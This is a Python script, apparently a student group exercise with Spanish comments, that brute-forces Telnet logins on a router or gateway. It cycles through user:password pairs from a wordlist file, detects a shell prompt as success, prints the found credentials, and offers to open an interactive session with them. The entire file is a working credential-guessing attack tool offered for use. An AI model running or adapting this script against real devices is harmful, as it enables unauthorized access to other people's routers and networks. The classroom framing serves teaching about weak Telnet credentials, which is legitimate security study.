import sys import time import telnetlib ##### EJERCICIO DE BRUTE FORCE A TELNET ### PARTICIPANTES ### Grupo 4: ### 1113684 - Clay Gomera ### 1114550 - Paulo Puig ### 1116614 - Luis Daniel De la Cruz ### 1114441 - Rafael Peralta ##### # Inicio del tiempo de proceso tiempo_inicio = time.time() # Abrir archivo de texto que contiene usuarios y contraseñas comunes try: lista_credenciales = open("credenciales.txt", "r") except FileNotFoundError: print("Error: Archivo no encontrado. Por favor, asegúrese de que 'credenciales.txt' esté en el mismo directorio que el script.") sys.exit(1) # Entrada del usuario para la dirección del gateway, el puerto y el timeout direccion_router = input("\nIngrese la Dirección del Gateway: ") # Utiliza 'input' tanto para Windows como para Linux puerto = input("Ingrese el puerto de Telnet (por defecto es 23): ") # Entrada del puerto de Telnet if not puerto: puerto = 23 # Puerto predeterminado para Telnet es 23 else: puerto = int(puerto) # Convertir la entrada de puerto a entero timeout = input("Ingrese el tiempo de espera en segundos (por defecto es 10): ") # Entrada del tiempo de espera if not timeout: timeout = 10 # Timeout predeterminado es 10 segundos else: timeout = int(timeout) # Convertir la entrada de timeout a entero # Función de fuerza bruta def ataqueTelnet(usuario, contrasena): try: tn = telnetlib.Telnet(direccion_router, puerto, timeout=timeout) # Conexión Telnet con un timeout tn.read_until(b"login: ", timeout=timeout) # Esperar el prompt de nombre de usuario tn.write(usuario.encode('ascii') + b"\n") # Enviar el nombre de usuario tn.read_until(b"Password: ", timeout=timeout) # Esperar el prompt de contraseña tn.write(contrasena.encode('ascii') + b"\n") # Enviar la contraseña print("Intentando iniciar sesión...") respuesta = tn.read_until(b"~$", timeout=timeout) # Comprobar el estado de inicio de sesión if b"~$" in respuesta or b">" in respuesta: # Si el inicio de sesión es exitoso tn.close() # Cerrar la sesión actual return True else: tn.close() # Cerrar la sesión actual return False except EOFError: print("\nError con el inicio de sesión en Telnet\n") return False except Exception as e: print(f"\nError inesperado: {e}\n") return False # Función para establecer una sesión interactiva Telnet def iniciarSesion(usuario, contrasena): try: tn = telnetlib.Telnet(direccion_router, puerto, timeout=timeout) # Conexión Telnet con un timeout tn.read_until(b"login: ", timeout=timeout) # Esperar el prompt de nombre de usuario tn.write(usuario.encode('ascii') + b"\n") # Enviar el nombre de usuario tn.read_until(b"Password: ", timeout=timeout) # Esperar el prompt de contraseña tn.write(contrasena.encode('ascii') + b"\n") # Enviar la contraseña tn.interact() # Iniciar una sesión interactiva except EOFError: print("\nError con el inicio de sesión en Telnet\n") except Exception as e: print(f"\nError inesperado: {e}\n") # Gestión del archivo de credenciales credenciales = lista_credenciales.readlines() codigo = 0 # Inicializar el código de salida for cred in credenciales: usuario_prueba, contrasena_prueba = cred.strip().split(":") # Separar el nombre de usuario y la contraseña print("\nProbando %s:%s" % (usuario_prueba, contrasena_prueba)) if ataqueTelnet(usuario_prueba, contrasena_prueba): # Usar un nombre de usuario y contraseña de la lista para intentar print("\n¡Credenciales encontradas!") print("Usuario: %s, Contraseña: %s\n" % (usuario_prueba, contrasena_prueba)) lista_credenciales.close() codigo = 1 tiempo_transcurrido = time.time() - tiempo_inicio print("Tiempo transcurrido en el brute-force: %s segundos\n" % tiempo_transcurrido) # Preguntar al usuario si desea iniciar una sesión interactiva iniciar_sesion = input("\n¿Desea iniciar una sesión Telnet con estas credenciales? (s/n): ") if iniciar_sesion.lower() == 's': iniciarSesion(usuario_prueba, contrasena_prueba) break # Terminar el proceso si se encuentran las credenciales else: print("¡Credenciales incorrectas!") # Salida if codigo == 0: print("Las credenciales no existen en la lista proporcionada.\n")